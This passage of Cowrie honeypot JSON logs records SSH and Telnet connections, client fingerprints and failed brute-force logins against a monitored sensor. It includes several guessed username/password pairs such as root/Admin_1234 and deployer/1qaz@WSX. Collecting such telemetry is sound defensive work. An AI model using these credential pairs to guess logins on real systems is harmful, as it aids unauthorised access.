-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.194818Z","src_ip":"103.143.231.102","session":"d16c65d626d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.514455Z","src_ip":"103.143.231.102","session":"d16c65d626d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":36082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cba3128fca7","protocol":"ssh","message":"New connection: 45.144.233.139:36082 (10.17.0.5:22) [session: 4cba3128fca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.790606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.796087Z","src_ip":"45.144.233.139","session":"4cba3128fca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:33.883605Z","src_ip":"45.144.233.139","session":"4cba3128fca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apiadmin","password":"apiadmin","message":"login attempt [apiadmin/apiadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.261598Z","src_ip":"45.144.233.139","session":"4cba3128fca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.496402978897095,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.411276Z","src_ip":"20.123.41.163","session":"dff43fd45b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.588221Z","src_ip":"103.143.231.102","session":"d16c65d626d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":56446,"dst_ip":"10.17.0.5","dst_port":22,"session":"65593f7fb78c","protocol":"ssh","message":"New connection: 46.24.47.94:56446 (10.17.0.5:22) [session: 65593f7fb78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.628114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.632254Z","src_ip":"46.24.47.94","session":"65593f7fb78c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:34.743942Z","src_ip":"46.24.47.94","session":"65593f7fb78c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin_1234","message":"login attempt [root/Admin_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:35.205900Z","src_ip":"46.24.47.94","session":"65593f7fb78c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:35.351036Z","src_ip":"45.144.233.139","session":"4cba3128fca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:36.317683Z","src_ip":"46.24.47.94","session":"65593f7fb78c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":36158,"dst_ip":"10.17.0.5","dst_port":22,"session":"d14a7685fe76","protocol":"ssh","message":"New connection: 156.251.179.157:36158 (10.17.0.5:22) [session: d14a7685fe76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:40.850433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:41.045400Z","src_ip":"156.251.179.157","session":"d14a7685fe76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:41.493863Z","src_ip":"156.251.179.157","session":"d14a7685fe76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test7","password":"test7","message":"login attempt [test7/test7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:42.866329Z","src_ip":"156.251.179.157","session":"d14a7685fe76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:44.088942Z","src_ip":"156.251.179.157","session":"d14a7685fe76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c04349668f2","protocol":"ssh","message":"New connection: 152.32.238.146:52354 (10.17.0.5:22) [session: 0c04349668f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:46.483859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:46.492274Z","src_ip":"152.32.238.146","session":"0c04349668f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:46.522819Z","src_ip":"152.32.238.146","session":"0c04349668f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1qaz@WSX","message":"login attempt [deployer/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:46.561400Z","src_ip":"152.32.238.146","session":"0c04349668f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:47.579374Z","src_ip":"152.32.238.146","session":"0c04349668f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":37636,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f5bc2c1764","protocol":"ssh","message":"New connection: 156.251.179.157:37636 (10.17.0.5:22) [session: 13f5bc2c1764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:52.274225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:52.348730Z","src_ip":"156.251.179.157","session":"13f5bc2c1764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:52.827062Z","src_ip":"156.251.179.157","session":"13f5bc2c1764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"xsw21qaz","message":"login attempt [ubuntu/xsw21qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:54.497007Z","src_ip":"156.251.179.157","session":"13f5bc2c1764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:55.724043Z","src_ip":"156.251.179.157","session":"13f5bc2c1764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43808,"dst_ip":"10.17.0.5","dst_port":23,"session":"03a4ed03c514","protocol":"telnet","message":"New connection: 20.123.41.163:43808 (10.17.0.5:23) [session: 03a4ed03c514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:27:59.629868Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":39110,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3fca804ccf","protocol":"ssh","message":"New connection: 156.251.179.157:39110 (10.17.0.5:22) [session: 2b3fca804ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:03.677762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:03.736989Z","src_ip":"156.251.179.157","session":"2b3fca804ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:04.170779Z","src_ip":"156.251.179.157","session":"2b3fca804ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"test","message":"login attempt [student/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:05.700254Z","src_ip":"156.251.179.157","session":"2b3fca804ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:06.920902Z","src_ip":"156.251.179.157","session":"2b3fca804ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.529568195343018,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:07.159338Z","src_ip":"20.123.41.163","session":"03a4ed03c514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":40584,"dst_ip":"10.17.0.5","dst_port":22,"session":"380b8912dcd2","protocol":"ssh","message":"New connection: 156.251.179.157:40584 (10.17.0.5:22) [session: 380b8912dcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.445887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.561291Z","src_ip":"156.251.179.157","session":"380b8912dcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62774,"dst_ip":"10.17.0.5","dst_port":22,"session":"928e29e430ff","protocol":"ssh","message":"New connection: 109.91.4.177:62774 (10.17.0.5:22) [session: 928e29e430ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.615211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.620741Z","src_ip":"109.91.4.177","session":"928e29e430ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.731497Z","src_ip":"109.91.4.177","session":"928e29e430ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:28:16.911550Z","src_ip":"156.251.179.157","session":"380b8912dcd2","protocol":"ssh"}
